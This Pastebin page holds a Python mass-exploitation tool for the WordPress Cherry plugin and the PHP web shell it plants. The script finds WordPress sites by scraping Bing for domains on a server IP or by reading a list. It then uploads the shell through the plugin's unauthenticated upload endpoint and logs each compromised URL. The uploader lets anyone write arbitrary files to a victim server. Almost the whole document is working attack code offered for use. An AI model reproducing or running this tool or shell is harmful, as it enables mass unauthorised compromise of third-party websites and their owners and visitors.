Mr1337Joker

Cherry Plugin ( WordPress ) Auto Exploiter ( Mass )

Sep 11th, 2016
2,925
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.44 KB | None | 0 0
  1. Cherry.py :
  2. ====================================================
  3. import re , urllib2 , os , requests
  4. from platform import system
  5. if system() == 'Linux':
  6.     os.system('clear')
  7. if system() == 'Windows':
  8.     os.system('cls')
  9. site = []
  10. filname = 'upload.php'
  11. banner = '''
  12.  
  13. ,--.   ,--.            ,--.       ,--.
  14. |   `.'   |,--.--.     |  | ,---. |  |,-. ,---. ,--.--.
  15. |  |'.'|  ||  .--',--. |  || .-. ||     /| .-. :|  .--'
  16. |  |   |  ||  |   |  '-'  /' '-' '|  \ \\   --.|  |
  17. `--'   `--'`--'    `-----'  `---' `--'`--'`----'`--'
  18.  
  19. ================================================================
  20. || Welcome To Cherry Plugin ( WordPress ) Auto Mass Exploiter ||
  21. ================================================================
  22. || Coded By : MrJoker - Libyan Attacker                       ||
  23. ================================================================
  24. || Skype : live:mr9_9 - Face : 1337MrJoker                    ||
  25. ================================================================
  26. '''
  27. def unique(seq):
  28.     seen = set()
  29.     return [seen.add(x) or x for x in seq if x not in seen]
  30. print banner
  31. def exploit(link):
  32.     try:
  33.         dirx = '/wp-content/plugins/cherry-plugin/admin/import-export/upload.php'
  34.         xxxxe = link + dirx
  35.         files={'file':(filname, open(filname,'rb'),'multipart/form-data')}
  36.         r = requests.post(xxxxe, files=files)
  37.         bb = filname
  38.         shelldir = '/wp-content/plugins/cherry-plugin/admin/import-export/'+bb
  39.         shelled = link + shelldir
  40.         openbing = urllib2.urlopen(shelled)
  41.         readbing = openbing.read()
  42.         if re.findall("izocin", readbing):
  43.             print ("[#]=> %s [ ok ]" % shelled)
  44.             if not os.path.exists("Result"):
  45.                 os.mkdir("Result", 0755);
  46.             with open("Result/cherry.txt", 'a') as neo:
  47.                 neo.write("[#]=> %s [ ok ]" % shelled)
  48.                 neo.write("\n")
  49.     except :
  50.         pass
  51. def test(url):
  52.     try:
  53.         openbing = urllib2.urlopen(url)
  54.         readbing = openbing.read()
  55.         if re.findall("WordPress", readbing):
  56.             print "[!]-> Scanning : " + url
  57.             exploit(url)
  58.         else:
  59.             pass
  60.     except:
  61.         pass
  62. def grabber(s):
  63.     global site
  64.     xxxx = []
  65.     page = 1
  66.     while page <= 101:
  67.         bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
  68.         openbing = urllib2.urlopen(bing)
  69.         readbing = openbing.read()
  70.         findwebs = re.findall('<h2><a href="(.*?)"', readbing)
  71.         for i in range(len(findwebs)):
  72.             allnoclean = findwebs[i]
  73.             findall1 = re.findall('http://(.*?)/', allnoclean)
  74.             for idx, item in enumerate(findall1):
  75.                 if 'www' not in item:
  76.                     findall1[idx] = 'http://www.' + item + '/'
  77.                 else:
  78.                     findall1[idx] = 'http://' + item + '/'
  79.             xxxx.extend(findall1)
  80.         page = page + 10
  81.     final = unique(xxxx)
  82.     site.extend(final)
  83. def main():
  84.     print "\r\n1)-\tFrom Server IP\n2)-\tFrom WebSite\n"
  85.     c = raw_input("What Do You Want ?\n")
  86.     if c == '1':
  87.         ip = raw_input('[+] Enter Server IP : ')
  88.         try:
  89.             print banner
  90.             grabber(str(ip))
  91.             for _site in site:
  92.                 test(_site)
  93.         except:
  94.             pass
  95.     elif c == '2':
  96.             list = raw_input('[+] Enter List Name : ')
  97.             try:
  98.                 file = open(list).readlines()
  99.                 print banner
  100.                 if (len(file) > 0):
  101.                     for attack in file:
  102.                         _attack = attack.rstrip()
  103.                         test(_attack)
  104.             except:
  105.                 pass
  106.             else:
  107.                 pass
  108. if __name__ == '__main__':
  109.     main()
  110. ====================================================
  111. upload.php :
  112. ====================================================
  113. izocin
  114. <?php
  115. echo '<title>Upload Files xSecurity</title>
  116. <h1>izocin</h1>
  117. ';
  118. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  119. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  120. if( $_POST['_upl'] == "Upload" ) {
  121.     if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Complate !!!</b><br><br>'; }
  122.     else { echo '<b>Upload Failed !!!</b><br><br>'; }
  123. }
  124. ?>
  125. ====================================================
Advertisement
Add Comment
Please, Sign In to add comment